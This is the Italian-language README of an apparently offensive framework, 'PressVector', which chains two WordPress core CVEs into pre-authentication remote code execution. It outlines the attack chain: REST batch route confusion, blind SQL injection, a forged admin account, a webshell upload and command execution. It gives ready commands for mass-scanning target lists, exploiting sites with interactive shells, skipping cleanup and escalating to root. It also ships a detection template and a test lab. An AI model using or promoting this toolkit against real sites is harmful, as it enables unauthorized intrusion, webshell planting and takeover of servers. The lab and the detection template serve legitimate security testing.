
# PressVector - Scanner avanzato di vulnerabilità WordPress CVE-2026-63030 (confusione di route batch REST) / CVE-2026-60137 (SQLi) Sviluppatore: Vulnquest
⚡ Framework avanzato di sfruttamento RCE pre-autenticazione e SQLi cieca per WordPress Core
PressVector è un framework di sfruttamento completo e completamente automatizzato che prende di mira CVE-2026-63030 e CVE-2026-60137 — due vulnerabilità critiche nel core di WordPress che, combinate, consentono l'esecuzione di codice in remoto senza autenticazione.
Il framework concatena una REST Batch Route Confusion con un'iniezione SQL cieca per forgiare sessioni di amministratore, distribuire webshell ed eseguire comandi arbitrari sul sistema operativo — il tutto senza alcuna credenziale.
⚠️ Solo per test di sicurezza autorizzati e scopi educativi.
CVE-2026-63030 è una vulnerabilità critica di RCE pre-autenticazione nel core di WordPress, scoperta da Adam Kues (Assetnote / Searchlight Cyber). L'exploit concatena due vulnerabilità indipendenti:
| CVE | Advisory | Tipo | Impatto |
|---|---|---|---|
| CVE-2026-63030 | GHSA-ff9f-jf42-662q | REST Batch Route Confusion | RCE pre-autenticazione |
| CVE-2026-60137 | GHSA-fpp7-x2x2-2mjf | Iniezione SQL author__not_in | SQLi cieca pre-autenticazione |
[Unauthenticated Attacker]
│
▼
[1] REST Batch Route Confusion (/batch/v1)
│ Bypass auth context — treat batch as internal
▼
[2] Blind SQLi via author__not_in parameter
│ Time-based binary search extraction
▼
[3] Extract table prefix + admin user ID
│
▼
[4] Forge admin user via UNION-based injection
│ Insert into wp_users + wp_usermeta
▼
[5] Authenticate & Upload webshell via Media API
│
▼
[6] Remote Code Execution 🎯
| Versione di WordPress | CVE applicabili | Impatto | Stato |
|---|---|---|---|
| 6.8.0 – 6.8.5 | CVE-2026-60137 | 🟡 Blind SQLi (Alto) | ❌ Vulnerabile |
| 6.9.0 – 6.9.4 | CVE-2026-63030 + CVE-2026-60137 | 🔴 Pre-Auth RCE (Critico) | ❌ Vulnerabile |
| 7.0.0 – 7.0.1 | CVE-2026-63030 + CVE-2026-60137 | 🔴 Pre-Auth RCE (Critico) | ❌ Vulnerabile |
| 7.1-alpha / 7.1-beta1 | CVE-2026-60137 | 🟡 SQLi (Alto) | ❌ Vulnerabile |
| 6.8.6+ / 6.9.5+ / 7.0.2+ | — | ✅ Corretto | ✅ Sicuro |
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help
pressvector.py — Framework di sfruttamento principaleFramework di sfruttamento completo con 4 modalità operative.
scan — Scanner di vulnerabilità multi-targetScanner veloce e multi-thread per rilevare installazioni WordPress vulnerabili su larga scala.
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
check — Conferma di SQLi ciecaConferma un'iniezione SQL cieca basata sul tempo su un singolo target con calibrazione dei tempi.
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
exploit — Catena completa di sfruttamento RCESfruttamento completo: forgiatura admin → deploy webshell → esecuzione comandi.
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
privesc — Escalatione dei privilegiTenta l'escalation locale dei privilegi dopo aver ottenuto l'RCE.
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
pressvector-wp2shell-detection.yaml — Template di rilevamento NucleiUn template Nuclei pronto per la produzione per il rilevamento passivo su larga scala.
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
Funzionalità del template:
È incluso un laboratorio di penetration testing containerizzato e completamente automatizzato per testare queste vulnerabilità in modo sicuro e isolato.
Windows (PowerShell):
cd pressvector-lab
.\start-lab.ps1
Linux / macOS:
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
(Attendere circa 60-90 secondi alla prima esecuzione affinché il programma di installazione di WP-CLI configuri automaticamente tutti i siti WordPress).
| Porta | Servizio | Versione di WordPress | Vulnerabilità / Stato |
|---|---|---|---|
| 8080 | Target 1 | 6.8.5 | CVE-2026-60137 (solo Blind SQLi) 🔴 |
| 8081 | Target 2 | 6.9.4 | CVE-2026-63030 (Pre-Auth RCE) 🔴 |
| 8082 | Target 3 | 7.0.1 | CVE-2026-63030 (Pre-Auth RCE) 🔴 |
| 8083 | Riferimento | Ultima | Corretto / Riferimento sicuro ✅ |
| 8084 | PHPMyAdmin | — | Strumento di gestione del database |
| 8085 | Dashboard del laboratorio | — | Interfaccia web con stato dei target e comandi copiabili 🖥️ |
Credenziali amministratore: admin / admin123
Password root di MySQL: root
È possibile verificare l'intero stato del laboratorio e i percorsi di sfruttamento utilizzando la suite di test automatizzata:
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
stop-lab.sh o .\stop-lab.ps1reset-lab.sh o .\reset-lab.ps1